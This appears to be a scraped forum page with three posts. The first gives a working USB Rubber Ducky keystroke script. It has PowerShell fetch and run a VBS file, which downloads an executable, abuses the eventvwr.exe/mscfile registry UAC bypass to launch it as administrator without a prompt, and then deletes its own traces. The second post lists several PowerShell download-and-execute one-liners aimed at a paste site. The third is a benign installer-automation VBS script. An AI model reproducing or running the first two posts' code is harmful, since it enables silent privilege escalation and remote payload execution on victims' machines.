Search the Community

Hello! This is my first post and contribute to this community, one of hopefully many. I am yet to receive my rubber ducky, so while waiting i thought i give writing some scripts a go. I consider the rubber ducky to be the mother of physical access exploits, being able to deploy anything in a very short period of time. DELAY 750 GUI r DELAY 1000 STRING powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://myhost.com/script.txt', '%temp%/run.vbs') ;Start-Process '%temp%/run.vbs'}" DELAY 500 ENTER Above is a basic rubber ducky script that downloads and executes a .vbs script in one line using the "run" prompt in windows. Nothing fancy, fast and easy download and execute, however we are taking this a bit further. (This is the part i cannot yet test myself due to me not having the Rubber ducky at hand, however based on examples, this should be OK, please confirm if you have time) To get maximum speed we are using a 2 step process, getting a low sized script file is much faster then going to the payload itself straight away. This is the script.txt (run.vbs when saved) Sub Main() 'Setting some vars fileurl = "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe" filename = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "/pt.exe" 'Download function dim shellobj set shellobj = wscript.createobject("wscript.shell") strlink = fileurl strsaveto = filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if 'UAC bypass/exploit setup Set WshShell = CreateObject("WScript.Shell") myKey = "HKCU\Software\Classes\mscfile\shell\open\command\" WshShell.RegWrite myKey,filename ,"REG_SZ" 'UAC bypass/exploit trigger CreateObject("WScript.Shell").Run "eventvwr.exe" WScript.Sleep 1000 'UAC bypass/exploit cleanup Set objShell = Wscript.CreateObject("Wscript.Shell") objShell.RegDelete "HKCU\Software\Classes\mscfile\shell\open\command\" 'Cleanup removal of this script after completed Set Cleanup = WScript.CreateObject("WScript.Shell") Cleanup.Run "cmd /c del %temp%\run.vbs", 0, True End Sub 'We dont want to display any errors On Error Resume Next Main If Err.Number Then 'on error cleanup and exit set Cleanup = WScript.CreateObject("WScript.Shell") Cleanup.Run "cmd /c del %temp%\run.vbs", 0, True WScript.Quit 4711 End If I have commented this to my best ability. its pretty straight forward and is about 2kb in size It download and executes (in this case putty) as pt.exe in the temp folder of the current windows user. It then proceeds to write the payload file-path as a string value to "HKCU\Software\Classes\mscfile\shell\open\command\", we then trigger "eventvwr.exe" which is a built in windows application, this will launch our payload (pt.exe) as ADMIN on the targeted machine without any form of UAC prompt prompting the user. We then remove the reg-key to avoid issues in the future followed by the vbs script removing itself from the computer leaving little trace. If any point we get an error we also remove the script. . This method of bypassing UAC giving admin rights to any application using the path written as a string in the reg-key works on all versions of windows(From where the UAC system was introduced ofc) as far up as Windows 10 Pro 64Bit Build 1607. Basically 90% of machines. I hope you all enjoyed this, i will be making a short demo video of this to see the deployment speed when i receive my copy of the rubber ducky. Best Regards ~skiddie

Hi This is my first question here hope someone can help I have converted puty.exe to putty.vbs and also I have also tried convert the exe to base64 Im trying to download (both vbs and base64 exe) it but Im not being able to succeed the vbs is on "https://www.codepile.net/raw/rjzpdEKZ.vbs" but https://www.codepile.net/raw/rjzpdEKZ works too I have tried 1 - IEX (new-object net.webclient).downloadstring("https://www.codepile.net/raw/rjzpdEKZ") 2 - Invoke-Expression -Command $([string]([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri https://www.codepile.net/raw/rjzpdEKZ).content)))) 3 - & ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri "https://www.codepile.net/raw/rjzpdEKZ" | Select-Object -ExpandProperty Content)))) 4 - (New-Object System.Net.WebClient).DownloadFile("https://www.codepile.net/raw/rjzpdEKZ","putty.vbs");(New-Object -com Shell.Application).ShellExecute("putty.vbs"); 4 - (New-Object System.Net.WebClient).DownloadFile("https://www.codepile.net/raw/rjzpdEKZ","foo.vbs");(New-Object -com Shell.Application).ShellExecute("foo.vbs"); because the program used to create the vbs file writes a foo.txt file What I might be doing wrong? How can I run it from powershell and a command line? Thanks

Hey guys. So I'm creating an auto-run USB Drive for the guys in my shop to further help automate the update/re-image process. I'm a little rusty on my VB. Here's my code in it's current state: x=MsgBox("Do not be afraid, vital software update is in progress. Please direct any errors to your System Administrator",0, "Derek's Auto Update") Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\updates\Firefox Setup Stub 25.0.1" d=MsgBox("Is the Firefox installation Complete",4, "I have a question for you.") if d=vbYes then e=MsgBox("Please download the installer from http://mozilla.org",,"I'm sorry...") else f=MsgBox("Excellent. Please click OK for the next installer.",, "Success!") End If PAUSE Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\updates\lenovographics.exe" PAUSE a=MsgBox("Was there any errors during this update?",4, "I have a question for you.") if a=vbYes then b=MsgBox("Please send a detailed message to admin@work.com of any errors that occured",, "I'm sorry...") else c=MsgBox("Excellent. Thank you for your participation and cooperation.",, "Success!") End If My ultimate goal is this: I'm not sure of the syntax to do this, but I'd like to keep the installer files on the USB drive rather than having to copy them over to the C:\ drive then run the installer. I'm wanting to have this all fully automated. Once the user completes an installation (for example: Firefox), have a MsgBox pop up "did it complete?" If yes = open method z = next installer. The idea to have it all a nested IF/THEN. Any advice is always appreciated. Thanks gang!